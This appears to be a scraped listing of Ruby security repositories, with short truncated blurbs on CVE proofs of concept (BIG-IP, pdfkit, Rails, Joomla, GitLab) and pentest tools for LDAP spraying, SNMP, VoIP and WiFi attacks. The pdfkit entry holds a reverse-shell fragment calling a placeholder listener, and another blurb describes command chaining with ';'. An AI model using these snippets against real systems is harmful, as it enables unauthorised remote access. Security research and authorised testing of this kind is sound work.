CVE-2020-5902

CVE-2020-5902 BIG-IP CVE-2020-5902 Exploit POC and automation scanning vulnerability simple program for exploit big-ip and automation scanning vulnerability install gem install httparty gem install colorize gem install timeout ruby big-ip.rb list.txt output.txt...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Mediante CURL modificar valores en negrita: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2022-36231

CVE-2022-36231 La gema de ruby pdfinfo /dev/null Al igual que con el método initialize, no se realiza ninguna validación en la variable @pdfpath. Esto nos permite hacer uso del encadenamiento de comandos con ; para ejecutar un comando arbit...

telegram-history-dump

telegram-history-dump Esta utilidad es la sucesora de telegram-json-backup, escrita desde cero en Ruby. Permite crear copias de seguridad de tus diálogos de usuario y súpergrupos de Telegram utilizando la función de control remoto de telegram-cli. En comparación con el proyecto anterior,...

Ruby-On-Rails-Path-Traversal-Vulnerability-CVE-2018-3760-

Vulnerabilidad de Path Traversal en Ruby On Rails（CVE-2018-3760） 中文版本Versión china Ruby On Rails es un conocido framework de desarrollo web en Ruby, que utiliza Sprockets como servidor de archivos estáticos en el entorno de desarrollo. Sprockets es una biblioteca de Ruby que compila y distribuye...

CVE-2019-5420

CVE-2019-5420 A vulnerability can allow an attacker to guess the automatically generated development mode secret token. Ruby-on-Rails when it is running in development mode. In development mode, it is possible for an attacker to guess the key used to secure the sessions. Decryption: Key Generate:...

cfn_nag

Background The cfn-nag tool looks for patterns in CloudFormation templates that may indicate insecure infrastructure. Roughly speaking, it will look for: IAM rules that are too permissive wildcards Security group rules that are too permissive wildcards Access logs that aren't enabled Encryption...

Ruby Dragonfly <1.4.0 - Remote Code Execution

Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verifyurl option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishand...

PasswordPusher v1.45.11-v2.9.5 - Unauthenticated Anonymous Push Deletion via Ownership Bypass

PasswordPusher v1.45.11 through v2.9.5 allows unauthenticated deletion of anonymous pushes due to a nil==nil ownership-check bypass CWE-863. The deletion guard evaluates @push.user == currentuser || @push.deletablebyviewer. For anonymous pushes, @push.user is nil; for unauthenticated requests,...

gitlab-rce-demo

Demo de RCE en GitLab mediante Oj Este repositorio contiene una demo autónoma de la cadena de RCE en el notebook-diff de GitLab descrita en nuestra investigación. Inicia un contenedor limpio de GitLab 18.11.3, crea un usuario normal a través de la interfaz HTTP pública y ejecuta el PoC contra esa...

CVE-2016-2098

CVE-2016-2098 Remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data. Explanation: This issue comes from the usage of the render method on user-supplied data. The method render is usually used to render a page from a template, but render method also allows...

CVE-2023-23752

CVE-2023-23752 Joomla! v4.2.8 - Divulgación de información no autenticada Para ejecutar este script, necesitamos instalar algunas gemas faltantes: sudo gem install httpx sudo gem install docopt sudo gem install paint ruby exploit.rb http://dev.devvortex.htb...

WiFi-Pineapple-MK7_Evil-Portal

WIFI PINEAPPLE MARK VII - PORTAL MALIGNO El principal punto de acceso rogue y kit de pentest WiFi para operaciones de acceso cercano. Ataques pasivos y activos analizan dispositivos vulnerables y mal configurados. https://hak5.org/collections/sale/products/wifi-pineapple Autor :: TW-D Versión ::...

vsaudit

vsaudit Esta es una herramienta de código abierto para realizar ataques a servicios VoIP en general. Permite escanear toda la red o un solo host para realizar la fase de recolección de información, luego es capaz de buscar las vulnerabilidades más conocidas en los hosts vivos encontrados e intent...

automato

automato.rb automato uses native LDAP libraries to automate the collection and enumeration of various directory objects. This is incredibly useful during an internal penetration test. automato can also conduct password spraying attacks, and identify if a user is a local administrator against any...

automato

automato.rb automato utiliza bibliotecas LDAP nativas para automatizar la recolección y enumeración de varios objetos de directorio. Esto es increíblemente útil durante una prueba de penetración interna. automato también puede realizar ataques de pulverización de contraseñas e identificar si un...

Sububy

Sububy Sububy es un conjunto integral de enumeración de subdominios escrito en ruby, se centra en la precisión y la calidad con la flexibilidad de acceder a algunos módulos individualmente sin tener que seguir el flujo de ejecución de la herramienta, permitiéndole integrarlo con su flujo de...

snmpwn

SNMPwn is an SNMPv3 user enumerator and attack tool. It is a legitimate security tool designed to be used by security professionals and penetration testers against hosts you have permission to test. It takes advantage of the fact that SNMPv3 systems will respond with "Unknown user name" when an...

prometheus

Installing Prometheus Prometheus is a Ruby application and will run on any system running a recent version 1.8.7 or higher of Ruby. To install Prometheus use the following steps: 1. Create a directory called prometheus. 2. Extract the prometheus files into the directory. 3. CD into the prometheus...

CVE-2016-0752

Explotando CVE-2016-0752 Esta aplicación sirve como una prueba de concepto vulnerable para explotar CVE-2016-0752. Para más información, consulte esta entrada de blog, que explica la vulnerabilidad, los pasos necesarios para explotarla, la solución y un enlace a un módulo de metasploit. Primeros...